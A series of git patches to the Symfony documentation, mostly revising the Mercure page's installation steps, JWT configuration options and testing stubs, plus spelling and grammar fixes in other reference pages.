-.. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/

From 142a6f9ac8387f58b5f313ba6a70404851a63024 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 14:12:40 +0100
Subject: [PATCH 2865/7107] [mercure] Compatibility with the Docker integration
 and various improvements

---
 mercure.rst | 161 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 111 insertions(+), 50 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 874e5d3bb12..e84749d148d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -17,12 +17,12 @@ requiring "push" capabilities.
 Symfony provides a straightforward component, built on top of
 `the Mercure protocol`_, specifically designed for this class of use cases.
 
-Mercure is an open protocol designed from the ground to publish updates from
+Mercure is an open protocol designed from the ground up to publish updates from
 server to clients. It is a modern and efficient alternative to timer-based
 polling and to WebSocket.
 
 Because it is built on top `Server-Sent Events (SSE)`_, Mercure is supported
-out of the box in most modern browsers (old versions of Edge and IE require
+out of the box in modern browsers (old versions of Edge and IE require
 `a polyfill`_) and has `high-level implementations`_ in many programming
 languages.
 
@@ -42,49 +42,44 @@ generated using the API Platform client generator.
 Installation
 ------------
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
+Installing the Symfony Bundle
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Run this command to install the Mercure support:
+
+.. code-block:: terminal
+
+    $ composer require mercure
 
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
-.. image:: /_images/mercure/schema.png
-
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
-
-If you use `Symfony Docker`_ or the `API Platform distribution`_, a Mercure Hub
-is automatically installed and your Symfony application is automatically
-configured to use it. You can jump directly to the next section.
+Thanks to :ref:`the Docker integration of Symfony </setup/docker>`,
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
-a Mercure hub will be automatically available as a Docker service thanks to its
-:ref:`Docker integration <symfony-server-docker>.
-
-Be sure that recent versions of Docker and Docker Compose are properly installed
-on your computer and to start the Symfony Local Web Server with the ``--no-tls``
-option:
+you must start it with the ``--no-tls`` option.
 
 .. code-block:: terminal
 
     $ symfony server:start --no-tls -d
 
-Installing the Symfony Bundle
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Run this command to install the Mercure support before using it:
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: terminal
+.. image:: /_images/mercure/schema.png
 
-    $ composer require mercure
+If you use the Docker integration, a hub is already up and running,
+and you can go straight to the next section.
 
-:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured
-MercureBundle. It also created (if needed) and configured a Docker Compose
-definition that provides a Mercure service. Run ``docker-compose up`` to start it.
+Otherwise, and in production, you have to install a hub by yourself.
+An official and open source (AGPL) Hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
 
 Configuration
 -------------
@@ -95,23 +90,26 @@ The preferred way to configure MercureBundle is using
 When MercureBundle has been installed, the ``.env`` file of your project
 has been updated by the Flex recipe to include the available env vars.
 
-If you use the Symfony Local Web Server, Symfony Docker or the API Platform
-distribution, the Symfony app is automatically configured and you can skip
-straight to the next section.
+Also, if you are using the Docker integration with the Symfony Local Web Server,
+`Symfony Docker`_ or the `API Platform distribution`_,
+the proper environment variables have been automatically set.
+Skip straight to the next section.
 
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
 Sometimes a different URL must be called by the Symfony app (usually to publish),
 and the JavaScript client (usually to subscribe). It's especially common when
 the Symfony app must use a local URL and the client-side JavaScript code a public one.
-In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
+In this case, ``MERCURE_URL`` must contain the local URL used by the
 Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``
 the publicly available URL (e.g. ``https://example.com/.well-known/mercure``).
 
 The clients must also bear a `JSON Web Token`_ (JWT)
 to the Mercure Hub to be authorized to publish updates and, sometimes, to subscribe.
 
-This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or Symfony Docker), which should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
+This token must be signed with the same secret key as the one used by the Hub to verify the JWT (``!ChangeMe!`` in you use the Docker integration).
+This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable.
+MercureBundle will use it to automatically generate and sign the needed JWTs.
 
 If you don't want to use the provided environment variables,
 use the following configuration:
@@ -155,6 +153,68 @@ use the following configuration:
             ],
         ]);
 
+Alternatively, it's also possible to pass directly the JWT to use:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        value: 'the.JWT'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt value="the.JWT"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
+
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'value' => 'the.JWT',
+                    ],
+                ],
+            ],
+        ]);
+
+
+The JWT payload must contain at least the following structure to be allowed to
+publish:
+
+.. code-block:: json
+
+    {
+        "mercure": {
+            "publish": []
+        }
+    }
+
+Because the array is empty, the Symfony app will only be authorized to publish
+public updates (see the authorization_ section for further information).
+
+.. tip::
+
+    The jwt.io website is a convenient way to create and sign JWTs.
+    Checkout this `example JWT`_, that grants publishing rights for all *topics*
+    (notice the star in the array).
+    Don't forget to set your secret key properly in the bottom of the right panel of the form!
 
 Basic Usage
 -----------
@@ -222,8 +282,8 @@ Subscribing to updates in JavaScript from a Twig template is straightforward:
     }
     </script>
 
-The ``mercure()`` Twig function will generate the URL of the Mercure hub
-according to the configuration. The URL will include the ``topic`` query
+The ``mercure()`` Twig function generates the URL of the Mercure hub
+according to the configuration. The URL includes the ``topic`` query
 parameters corresponding to the topics passed as first argument.
 
 If you want to access to this URL from an external JavaScript file, generate the
@@ -302,9 +362,9 @@ by using the ``AbstractController::addLink`` helper method::
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request, Discovery $discovery): JsonResponse
+        public function discover(Request $request, Discovery $discovery): JsonResponse
         {
-            // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
+            // Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
             $discovery->addLink($request);
 
             return $this->json([
@@ -320,7 +380,7 @@ and to subscribe to it:
 .. code-block:: javascript
 
     // Fetch the original resource served by the Symfony web API
-    fetch('/books/1') // Has Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
+    fetch('/books/1') // Has Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
         .then(response => {
             // Extract the hub URL from the Link header
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
@@ -373,9 +433,9 @@ To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
 Cookies can be set automatically by Symfony by passing the appropriate options
-to the ``mercure()`` Twig function. Cookies set by Symfony will be automatically
+to the ``mercure()`` Twig function. Cookies set by Symfony are automatically
 passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
-of the ``EventSource`` class is set to ``true``. Then, the Hub will verify the
+of the ``EventSource`` class is set to ``true``. Then, the Hub verifies the
 validity of the provided JWT, and extract the topic selectors from it.
 
 .. code-block:: twig
@@ -572,9 +632,9 @@ its Mercure support.
 Testing
 --------
 
-During unit testing there is no need to send updates to Mercure.
+During unit testing it's usually not needed to send updates to Mercure.
 
-You can instead make use of the `MockHub`::
+You can instead make use of the `MockHub` class::
 
     // tests/FunctionalTest.php
     namespace App\Tests\Unit\Controller;
@@ -601,10 +661,10 @@ You can instead make use of the `MockHub`::
         }
     }
 
-During functional testing you can instead decorate the Hub::
+During functional testing you can instead create a stub of the Hub::
 
-    // tests/Functional/Fixtures/HubStub.php
-    namespace App\Tests\Functional\Fixtures;
+    // tests/Functional/Stub/HubStub.php
+    namespace App\Tests\Functional\Stub;
 
     use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
@@ -619,14 +679,14 @@ During functional testing you can instead decorate the Hub::
         // implement rest of HubInterface methods here
     }
 
-HubStub decorates the default hub service so no updates are actually
-sent. Here is the HubStub implementation:
+Use ``HubStub`` to replace the default hub service so no updates are actually
+sent:
 
 .. code-block:: yaml
 
     # config/services_test.yaml
-    App\Tests\Functional\Fixtures\HubStub:
-        decorates: mercure.hub.default
+    mercure.hub.default:
+        class: App\Tests\Functional\Stub\HubStub
 
 .. tip::
 
@@ -711,6 +771,7 @@ Going further
 .. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
+.. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
 .. _`IRI`: https://tools.ietf.org/html/rfc3987
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/

From 74961497f5a672cb8c89606cdc31ec4822480037 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:20:34 +0100
Subject: [PATCH 2866/7107] review

---
 mercure.rst | 107 ++++++++++++++++++++++++----------------------------
 1 file changed, 50 insertions(+), 57 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e84749d148d..47b4577f5cd 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -111,8 +111,16 @@ This token must be signed with the same secret key as the one used by the Hub to
 This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 MercureBundle will use it to automatically generate and sign the needed JWTs.
 
-If you don't want to use the provided environment variables,
-use the following configuration:
+In addition to these environment variables,
+MercureBundle provides a more advanced configuration configuration:
+
+* ``secret``: the key to use to sign the JWT
+* ``publish``: a list of topics to allow publishing to when generating the JWT
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT
+* ``algorithm``: The algorithm to use to sign the JWT
+* ``provider``: The ID of a service to call to provide the JWT
+* ``factory``: The ID of a service to call to create the JWT
+* ``value``: the raw JWT to use (all other options will be ignored)
 
 .. configuration-block::
 
@@ -125,6 +133,12 @@ use the following configuration:
                     url: https://mercure-hub.example.com/.well-known/mercure
                     jwt:
                         secret: '!ChangeMe!'
+                        publish: ['foo', 'https://example.com/foo']
+                        subscribe: ['bar', 'https://example.com/bar']
+                        algorithm: 'hmac.sha256'
+                        provider: 'My\Provider'
+                        factory: 'My\Factory'
+                        value: 'my.jwt'
 
     .. code-block:: xml
 
@@ -135,7 +149,18 @@ use the following configuration:
                 name="default"
                 url="https://mercure-hub.example.com/.well-known/mercure"
             >
-                <jwt secret="!ChangeMe!"/>
+                <jwt
+                    secret="!ChangeMe!"
+                    algorithm="hmac.sha256"
+                    provider="My\Provider"
+                    factory="My\Factory"
+                    value="my.jwt"
+                >
+                    <publish>foo</publish>
+                    <publish>https://example.com/foo</publish>
+                    <subscribe>bar</subscribe>
+                    <subscribe>https://example.com/bar</subscribe>
+                </jwt>
             </hub>
         </config>
 
@@ -148,68 +173,32 @@ use the following configuration:
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
                         'secret' => '!ChangeMe!',
+                        'publish' => ['foo', 'https://example.com/foo'],
+                        'subscribe' => ['bar', 'https://example.com/bar'],
+                        'algorithm' => 'hmac.sha256',
+                        'provider' => 'My\Provider',
+                        'factory' => 'My\Factory',
+                        'value' => 'my.jwt',
                     ],
                 ],
             ],
         ]);
 
-Alternatively, it's also possible to pass directly the JWT to use:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/mercure.yaml
-        mercure:
-            hubs:
-                default:
-                    url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt:
-                        value: 'the.JWT'
-
-    .. code-block:: xml
-
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <config>
-            <hub
-                name="default"
-                url="https://mercure-hub.example.com/.well-known/mercure"
-            >
-                <jwt value="the.JWT"/>
-            </hub>
-        </config>
-
-    .. code-block:: php
-
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'hubs' => [
-                'default' => [
-                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt' => [
-                        'value' => 'the.JWT',
-                    ],
-                ],
-            ],
-        ]);
-
+.. tip::
 
-The JWT payload must contain at least the following structure to be allowed to
-publish:
+    The JWT payload must contain at least the following structure to be allowed to
+    publish:
 
-.. code-block:: json
+    .. code-block:: json
 
-    {
-        "mercure": {
-            "publish": []
+        {
+            "mercure": {
+                "publish": []
+            }
         }
-    }
-
-Because the array is empty, the Symfony app will only be authorized to publish
-public updates (see the authorization_ section for further information).
 
-.. tip::
+    Because the array is empty, the Symfony app will only be authorized to publish
+    public updates (see the authorization_ section for further information).
 
     The jwt.io website is a convenient way to create and sign JWTs.
     Checkout this `example JWT`_, that grants publishing rights for all *topics*
@@ -364,7 +353,7 @@ by using the ``AbstractController::addLink`` helper method::
     {
         public function discover(Request $request, Discovery $discovery): JsonResponse
         {
-            // Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
+            // Link: <https://hub.example.com/.well-known/mercure>; rel="mercure"
             $discovery->addLink($request);
 
             return $this->json([
@@ -380,7 +369,7 @@ and to subscribe to it:
 .. code-block:: javascript
 
     // Fetch the original resource served by the Symfony web API
-    fetch('/books/1') // Has Link: <http://hub.example.com/.well-known/mercure>; rel="mercure"
+    fetch('/books/1') // Has Link: <https://hub.example.com/.well-known/mercure>; rel="mercure"
         .then(response => {
             // Extract the hub URL from the Link header
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
@@ -688,6 +677,10 @@ sent:
     mercure.hub.default:
         class: App\Tests\Functional\Stub\HubStub
 
+As MercureBundle support multiple hubs, you may have to replace
+the other service definitions accordingly.
+
+
 .. tip::
 
     Symfony Panther has `a feature to test applications using Mercure`_.

From e35f1cc895621aa21a391aae7df9f9f1feb1a780 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:21:32 +0100
Subject: [PATCH 2867/7107] Update mercure.rst

Co-authored-by: Robin Chalas <chalasr@users.noreply.github.com>
---
 mercure.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 47b4577f5cd..b3ba56900ee 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -650,7 +650,7 @@ You can instead make use of the `MockHub` class::
         }
     }
 
-During functional testing you can instead create a stub of the Hub::
+For functional testing, you can instead create a stub of the Hub::
 
     // tests/Functional/Stub/HubStub.php
     namespace App\Tests\Functional\Stub;
@@ -680,7 +680,6 @@ sent:
 As MercureBundle support multiple hubs, you may have to replace
 the other service definitions accordingly.
 
-
 .. tip::
 
     Symfony Panther has `a feature to test applications using Mercure`_.

From 81c1387c76deeb8be285f6cbc0372629fdc3ae88 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:19 +0100
Subject: [PATCH 2868/7107] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index b3ba56900ee..e61250c8d47 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -119,7 +119,7 @@ MercureBundle provides a more advanced configuration configuration:
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT
 * ``algorithm``: The algorithm to use to sign the JWT
 * ``provider``: The ID of a service to call to provide the JWT
-* ``factory``: The ID of a service to call to create the JWT
+* ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)
 
 .. configuration-block::

From 3ca1aa14662e08d85fd565b0cb0ee275b89b4e48 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:25 +0100
Subject: [PATCH 2869/7107] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index e61250c8d47..e1b85979550 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -117,7 +117,7 @@ MercureBundle provides a more advanced configuration configuration:
 * ``secret``: the key to use to sign the JWT
 * ``publish``: a list of topics to allow publishing to when generating the JWT
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT
-* ``algorithm``: The algorithm to use to sign the JWT
+* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
 * ``provider``: The ID of a service to call to provide the JWT
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)

From b4fb9fbe889f9e37bf02ab6e03a4219acd068e4b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:33 +0100
Subject: [PATCH 2870/7107] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index e1b85979550..41d5e51b03b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -116,7 +116,7 @@ MercureBundle provides a more advanced configuration configuration:
 
 * ``secret``: the key to use to sign the JWT
 * ``publish``: a list of topics to allow publishing to when generating the JWT
-* ``subscribe``: a list of topics to allow subscribing to when generating the JWT
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
 * ``provider``: The ID of a service to call to provide the JWT
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)

From ec8708560d9535b976a4ea3074b01667e8d40f60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:38:52 +0100
Subject: [PATCH 2871/7107] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 41d5e51b03b..92e770f1089 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -115,7 +115,7 @@ In addition to these environment variables,
 MercureBundle provides a more advanced configuration configuration:
 
 * ``secret``: the key to use to sign the JWT
-* ``publish``: a list of topics to allow publishing to when generating the JWT
+* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
 * ``provider``: The ID of a service to call to provide the JWT

From daaa3f13adaf5bca6ebd5919149afff935ea946d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:39:02 +0100
Subject: [PATCH 2872/7107] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 92e770f1089..58e9dc6dbd0 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -118,7 +118,7 @@ MercureBundle provides a more advanced configuration configuration:
 * ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
-* ``provider``: The ID of a service to call to provide the JWT
+* ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored)
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)
 

From adf49ef56839d3aea9c4508d4d432a44595f3197 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:39:11 +0100
Subject: [PATCH 2873/7107] Update mercure.rst

Co-authored-by: Saif Eddin Gmati <29315886+azjezz@users.noreply.github.com>
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 58e9dc6dbd0..3a93fb0ec80 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -114,7 +114,7 @@ MercureBundle will use it to automatically generate and sign the needed JWTs.
 In addition to these environment variables,
 MercureBundle provides a more advanced configuration configuration:
 
-* ``secret``: the key to use to sign the JWT
+* ``secret``: the key to use to sign the JWT (all other options, beside `algorithm`, `subscribe`, and `publish` will be ignored)
 * ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
 * ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )

From ad0cbe5c6a2e9949d401a2a32b1cd9ddb04d1141 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 15:41:09 +0100
Subject: [PATCH 2874/7107] nitpicking

---
 mercure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 3a93fb0ec80..365e3de9391 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -115,9 +115,9 @@ In addition to these environment variables,
 MercureBundle provides a more advanced configuration configuration:
 
 * ``secret``: the key to use to sign the JWT (all other options, beside `algorithm`, `subscribe`, and `publish` will be ignored)
-* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided )
-* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided )
-* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided )
+* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided)
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided)
+* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided)
 * ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored)
 * ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)

From ccfad390b28c4864c4da0239aace1289ebc12e3e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Thu, 16 Dec 2021 16:52:14 +0100
Subject: [PATCH 2875/7107] Ask to open PRs for new features in 6.x

---
 .github/PULL_REQUEST_TEMPLATE.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index ddeb73add51..17cec7af7c3 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -4,6 +4,6 @@ If your pull request fixes a BUG, use the oldest maintained branch that contains
 the bug (see https://symfony.com/releases for the list of maintained branches).
 
 If your pull request documents a NEW FEATURE, use the same Symfony branch where
-the feature was introduced (and `5.x` for features of unreleased versions).
+the feature was introduced (and `6.x` for features of unreleased versions).
 
 -->

From 5d4222a2271c7c7fc3576002beaa8ff31cdd1c72 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 10:08:43 -0400
Subject: [PATCH 2876/7107] Correct spelling & grammar in 4.4 testing.rst

---
 testing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index 07b79a45bec..9e493f293ef 100644
--- a/testing.rst
+++ b/testing.rst
@@ -29,7 +29,7 @@ After the library is installed, try running PHPUnit:
 
     $ php ./vendor/bin/phpunit
 
-This commands automatically runs your application's tests. Each test is a
+This command automatically runs your application tests. Each test is a
 PHP class ending with "Test" (e.g. ``BlogControllerTest``) that lives in
 the ``tests/`` directory of your application.
 
@@ -147,7 +147,7 @@ usually defined in the ``KERNEL_CLASS`` environment variable
 
     If your use case is more complex, you can also override the
     ``getKernelClass()`` or ``createKernel()`` methods of your functional
-    test, which take precedence over the ``KERNEL_CLASS`` env var.
+    test, which takes precedence over the ``KERNEL_CLASS`` env var.
 
 Set-up your Test Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -376,7 +376,7 @@ generate an empty fixture class:
     The class name of the fixtures to create (e.g. AppFixtures):
     > ProductFixture
 
-Then you modify use this class to load new entities in the database. For
+Then you modify and use this class to load new entities in the database. For
 instance, to load ``Product`` objects into Doctrine, use::
 
     // src/DataFixtures/ProductFixture.php
@@ -858,7 +858,7 @@ Request Assertions
     Asserts the given :ref:`request attribute <component-foundation-attributes>`
     is set to the expected value.
 ``assertRouteSame($expectedRoute, array $parameters = [], string $message = '')``
-    Asserts the request matched the given route and optionally route parameters.
+    Asserts the request matches the given route and optionally route parameters.
 
 Browser Assertions
 ..................
@@ -909,7 +909,7 @@ Mailer Assertions
 ``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
     Asserts that the given email has the expected number of attachments. Use
     ``getMailerMessage(int $index = 0, string $transport = null)`` to
-    retrievea specific email by index.
+    retrieve a specific email by index.
 ``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
     Asserts that the text body of the given email does (not) contain the
     expected text.

From 4549d4b124b4e0123bb510d8c2cc346151a5f7bd Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 18:10:24 -0400
Subject: [PATCH 2877/7107] Correct spelling & grammar in 4.4 reference/

---
 reference/configuration/framework.rst         | 22 +++++++++----------
 reference/configuration/security.rst          |  6 ++---
 reference/configuration/swiftmailer.rst       |  4 ++--
 reference/configuration/twig.rst              |  4 ++--
 reference/constraints/Callback.rst            |  2 +-
 reference/constraints/DateTime.rst            |  2 +-
 .../_comparison-value-option.rst.inc          |  2 +-
 reference/constraints/_groups-option.rst.inc  |  2 +-
 reference/dic_tags.rst                        |  6 ++---
 9 files changed, 25 insertions(+), 25 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e26dd44d07e..4feb8fcd56d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -855,7 +855,7 @@ timeout
 
 **type**: ``float`` **default**: depends on your PHP config
 
-Time, in seconds, to wait for a response. If the response stales for longer, a
+Time, in seconds, to wait for a response. If the response takes longer, a
 :class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
 Its default value is the same as the value of PHP's `default_socket_timeout`_
 config option.
@@ -1070,7 +1070,7 @@ when using ``.``, instead of matching only a single byte.
 
 If the charset of your application is UTF-8 (as defined in the
 :ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's
-recommended to set it to ``true``. This will make non-UTF8 URLs to generate 404
+recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
 errors.
 
 .. _config-framework-session:
@@ -1191,8 +1191,8 @@ cookie_samesite
